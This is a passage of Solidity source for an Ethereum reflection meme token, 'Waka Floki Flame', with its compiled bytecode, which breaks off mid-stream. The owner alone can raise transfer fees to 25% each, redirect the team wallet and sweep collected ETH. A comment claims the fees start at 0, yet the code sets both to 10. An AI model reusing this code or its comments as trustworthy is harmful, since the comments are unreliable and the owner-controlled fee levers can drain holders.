) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract WakaFlokiFlame is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 2000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Waka Floki Flame'; string private _symbol = 'Fire'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }
0x6080604052600436106102345760003560e01c806370a082311161012e578063cba0e996116100ab578063f2fde38b1161006f578063f2fde38b1461082b578063f42938901461085e578063f815a84214610873578063f84354f114610888578063fd62d675146108bb5761023b565b8063cba0e99614610734578063dd46706414610767578063dd62ed3e14610791578063e01af92c146107cc578063f2cc0c18146107f85761023b565b8063a69df4b5116100f2578063a69df4b514610663578063a9059cbb14610678578063af9549e0146106b1578063b6c52324146106ec578063b80ec98d146107015761023b565b806370a08231146105b8578063715018a6146105eb5780638da5cb5b1461060057806395d89b4114610615578063a457c2d71461062a5761023b565b8063313ce567116101bc57806349bd5a5e1161018057806349bd5a5e1461051c57806351bc3c85146105315780635342acb4146105465780635880b873146105795780636ddd1713146105a35761023b565b8063313ce5671461044757806339509351146104725780633bd5d173146104ab5780634144d9e4146104d55780634549b039146104ea5761023b565b806318160ddd1161020357806318160ddd1461036f5780631bbae6e01461038457806323b872dd146103b057806328667162146103f35780632d8381191461041d5761023b565b806306fdde0314610240578063095ea7b3146102ca57806313114a9d146103175780631694505e1461033e5761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b506102556108d0565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561028f578181015183820152602001610277565b50505050905090810190601f1680156102bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102d657600080fd5b50610303600480360360408110156102ed57600080fd5b506001600160a01b038135169060200135610966565b604080519115158252519081900360200190f35b34801561032357600080fd5b5061032c610984565b60408051918252519081900360200190f35b34801561034a57600080fd5b5061035361098a565b604080516001600160a01b039092168252519081900360200190f35b34801561037b57600080fd5b5061032c6109ae565b34801561039057600080fd5b506103ae600480360360208110156103a757600080fd5b50356109b4565b005b3480156103bc57600080fd5b50610303600480360360608110156103d357600080fd5b506001600160a01b03813581169160208101359091169060400135610a5a565b3480156103ff57600080fd5b506103ae6004803603602081101561041657600080fd5b5035610ae1565b34801561042957600080fd5b5061032c6004803603602081101561044057600080fd5b5035610ba1565b34801561045357600080fd5b5061045c610c03565b6040805160ff9092168252519081900360200190f35b34801561047e57600080fd5b506103036004803603604081101561049557600080fd5b506001600160a01b038135169060200135610c0c565b3480156104b757600080fd5b506103ae600480360360208110156104ce57600080fd5b5035610c5a565b3480156104e157600080fd5b50610353610d34565b3480156104f657600080fd5b5061032c6004803603604081101561050d57600080fd5b50803590602001351515610d43565b34801561052857600080fd5b50610353610dd5565b34801561053d57600080fd5b506103ae610df9565b34801561055257600080fd5b506103036004803603602081101561056957600080fd5b50356001600160a01b0316610e6a565b34801561058557600080fd5b506103ae6004803603602081101561059c57600080fd5b5035610e88565b3480156105af57600080fd5b50610303610f48565b3480156105c457600080fd5b5061032c600480360360208110156105db57600080fd5b50356001600160a01b0316610f58565b3480156105f757600080fd5b506103ae610fba565b34801561060c57600080fd5b5061035361104a565b34801561062157600080fd5b50610255611059565b34801561063657600080fd5b506103036004803603604081101561064d57600080fd5b506001600160a01b0381351690602001356110ba565b34801561066f57600080fd5b506103ae611122565b34801561068457600080fd5b506103036004803603604081101561069b57600080fd5b506001600160a01b038135169060200135611210565b3480156106bd57600080fd5b506103ae600480360360408110156106d457600080fd5b506001600160a01b0381351690602001351515611224565b3480156106f857600080fd5b5061032c6112a7565b34801561070d57600080fd5b506103ae6004803603602081101561072457600080fd5b50356001600160a01b03166112ad565b34801561074057600080fd5b506103036004803603602081101561075757600080fd5b50356001600160a01b0316611327565b34801561077357600080fd5b506103ae6004803603602081101561078a57600080fd5b5035611345565b34801561079d57600080fd5b5061032c600480360360408110156107b457600080fd5b506001600160a01b03813581169160200135166113e3565b3480156107d857600080fd5b506103ae600480360360208110156107ef57600080fd5b5035151561140e565b34801561080457600080fd5b506103ae6004803603602081101561081b57600080fd5b50356001600160a01b0316611484565b34801561083757600080fd5b506103ae6004803603602081101561084e57600080fd5b50356001600160a01b0316611666565b34801561086a57600080fd5b506103ae61174c565b34801561087f57600080fd5b5061032c6117ae565b34801561089457600080fd5b506103ae600480360360208110156108ab57600080fd5b50356001600160a01b03166117b2565b3480156108c757600080fd5b50610353611973565b600c8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561095c5780601f106109315761010080835404028352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b5050505050905090565b600061097a610973611982565b8484611986565b5060015b92915050565b600b5490565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60095490565b6109bc611982565b6000546001600160a01b03908116911614610a0c576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b69152d02c7e14af6800000811015610a555760405162461bcd60e51b81526004018080602001828103825260348152602001806129b36034913960400191505060405180910390fd5b601555565b6000610a67848484611a72565b610ad784610a73611982565b610ad285604051806060016040528060288152602001612a30602891396001600160a01b038a16600090815260056020526040812090610ab1611982565b6001600160a01b031681526020810191909152604001600020549190611ccf565b611986565b5060019392505050565b610ae9611982565b6000546001600160a01b03908116911614610b39576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b60018110158015610b4b575060198111155b610b9c576040805162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d2032350000000000604482015290519081900360640190fd5b601055565b6000600a54821115610be45760405162461bcd60e51b815260040180806020018281038252602a815260200180612941602a913960400191505060405180910390fd5b6000610bee611d66565b9050610bfa8382611d89565b9150505b919050565b600e5460ff1690565b600061097a610c19611982565b84610ad28560056000610c2a611982565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611dd2565b6000610c64611982565b6001600160a01b03811660009081526007602052604090205490915060ff1615610cbf5760405162461bcd60e51b815260040180806020018281038252602c815260200180612b2c602c913960400191505060405180910390fd5b6000610cca83611e2c565b505050506001600160a01b038416600090815260036020526040902054919250610cf691905082611e88565b6001600160a01b038316600090815260036020526040902055600a54610d1c9082611e88565b600a55600b54610d2c9084611dd2565b600b55505050565b6014546001600160a01b031681565b6000600954831115610d9c576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b81610dbb576000610dac84611e2c565b5093955061097e945050505050565b6000610dc684611e2c565b5092955061097e945050505050565b7f0000000000000000000000005ae10bbdb888ba9387c2e0dda264904d22ac0eec81565b610e01611982565b6000546001600160a01b03908116911614610e51576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b6000610e5c30610f58565b9050610e6781611eca565b50565b6001600160a01b031660009081526006602052604090205460ff1690565b610e90611982565b6000546001600160a01b03908116911614610ee0576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b60018110158015610ef2575060198111155b610f43576040805162461bcd60e51b815260206004820152601a60248201527f7461784665652073686f756c6420626520696e2031202d203235000000000000604482015290519081900360640190fd5b600f55565b601454600160a81b900460ff1681565b6001600160a01b03811660009081526007602052604081205460ff1615610f9857506001600160a01b038116600090815260046020526040902054610bfe565b6001600160a01b03821660009081526003602052604090205461097e90610ba1565b610fc2611982565b6000546001600160a01b03908116911614611012576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b600080546040516001600160a01b0390911690600080516020612a78833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b600d8054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561095c5780601f106109315761010080835404028352916020019161095c565b600061097a6110c7611982565b84610ad285604051806060016040528060258152602001612b7b60259139600560006110f1611982565b6001600160a01b03908116825260208083019390935260409182016000908120918d16815292529020549190611ccf565b6001546001600160a01b0316331461116b5760405162461bcd60e51b8152600401808060200182810382526023815260200180612b586023913960400191505060405180910390fd5b60025442116111c1576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b039384169390911691600080516020612a7883398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b600061097a61121d611982565b8484611a72565b61122c611982565b6000546001600160a01b0390811691161461127c576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b60025490565b6112b5611982565b6000546001600160a01b03908116911614611305576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526007602052604090205460ff1690565b61134d611982565b6000546001600160a01b0390811691161461139d576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b038416179091551681554282016002556040518190600080516020612a78833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b611416611982565b6000546001600160a01b03908116911614611466576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b60148054911515600160a81b0260ff60a81b19909216919091179055565b61148c611982565b6000546001600160a01b039081169116146114dc576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156115385760405162461bcd60e51b8152600401808060200182810382526022815260200180612b0a6022913960400191505060405180910390fd5b6001600160a01b03811660009081526007602052604090205460ff16156115a6576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b03811660009081526003602052604090205415611600576001600160a01b0381166000908152600360205260409020546115e690610ba1565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b61166e611982565b6000546001600160a01b039081169116146116be576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b6001600160a01b0381166117035760405162461bcd60e51b815260040180806020018281038252602681526020018061296b6026913960400191505060405180910390fd5b600080546040516001600160a01b0380851693921691600080516020612a7883398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611754611982565b6000546001600160a01b039081169116146117a4576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b47610e6781612101565b4790565b6117ba611982565b6000546001600160a01b0390811691161461180a576040805162461bcd60e51b81526020600482018190526024820152600080516020612a58833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff16611877576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b60085481101561196f57816001600160a01b03166008828154811061189b57fe5b6000918252602090912001546001600160a01b03161415611967576008805460001981019081106118c857fe5b600091825260209091200154600880546001600160a01b0390921691839081106118ee57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600880548061194057fe5b600082815260209020810160001990810180546001600160a01b031916905501905561196f565b60010161187a565b5050565b6013546001600160a01b031681565b3390565b6001600160a01b0383166119cb5760405162461bcd60e51b8152600401808060200182810382526024815260200180612ae66024913960400191505060405180910390fd5b6001600160a01b038216611a105760405162461bcd60e51b81526004018080602001828103825260228152602001806129916022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611ab75760405162461bcd60e51b8152600401808060200182810382526025815260200180612ac16025913960400191505060405180910390fd5b6001600160a01b038216611afc5760405162461bcd60e51b815260040180806020018281038252602381526020018061291e6023913960400191505060405180910390fd5b60008111611b3b5760405162461bcd60e51b8152600401808060200182810382526029815260200180612a986029913960400191505060405180910390fd5b611b4361104a565b6001600160a01b0316836001600160a01b031614158015611b7d5750611b6761104a565b6001600160a01b0316826001600160a01b031614155b15611bc357601554811115611bc35760405162461bcd60e51b81526004018080602001828103825260288152602001806129e76028913960400191505060405180910390fd5b6000611bce30610f58565b90506015548110611bde57506015545b6016546014549082101590600160a01b900460ff16158015611c095750601454600160a81b900460ff165b8015611c125750805b8015611c5057507f0000000000000000000000005ae10bbdb888ba9387c2e0dda264904d22ac0eec6001600160a01b0316856001600160a01b031614155b15611c7057611c5e82611eca565b478015611c6e57611c6e47612101565b505b6001600160a01b03851660009081526006602052604090205460019060ff1680611cb257506001600160a01b03851660009081526006602052604090205460ff165b15611cbb575060005b611cc786868684612186565b505050505050565b60008184841115611d5e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d23578181015183820152602001611d0b565b50505050905090810190601f168015611d505780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000611d736122fa565b9092509050611d828282611d89565b9250505090565b6000611dcb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061245d565b9392505050565b600082820183811015611dcb576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000611e498a600f546010546124c2565b9250925092506000611e59611d66565b90506000806000611e6b8e8786612517565b919e509c509a509598509396509194505050505091939550919395565b6000611dcb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ccf565b6014805460ff60a01b1916600160a01b17905560408051600280825260608083018452926020830190803683370190505090503081600081518110611f0b57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8457600080fd5b505afa158015611f98573d6000803e3d6000fd5b505050506040513d6020811015611fae57600080fd5b5051815182906001908110611fbf57fe5b60200260200101906001600160a01b031690816001600160a01b03168152505061200a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611986565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663791ac9478360008430426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156120af578181015183820152602001612097565b505050509050019650505050505050600060405180830381600087803b1580156120d857600080fd5b505af11580156120ec573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b6013546001600160a01b03166108fc61211b836002611d89565b6040518115909202916000818181858888f19350505050158015612143573d6000803e3d6000fd5b506014546001600160a01b03166108fc61215e836002611d89565b6040518115909202916000818181858888f1935050505015801561196f573d6000803e3d6000fd5b8061219357612193612553565b6001600160a01b03841660009081526007602052604090205460ff1680156121d457506001600160a01b03831660009081526007602052604090205460ff16155b156121e9576121e4848484612585565b6122e7565b6001600160a01b03841660009081526007602052604090205460ff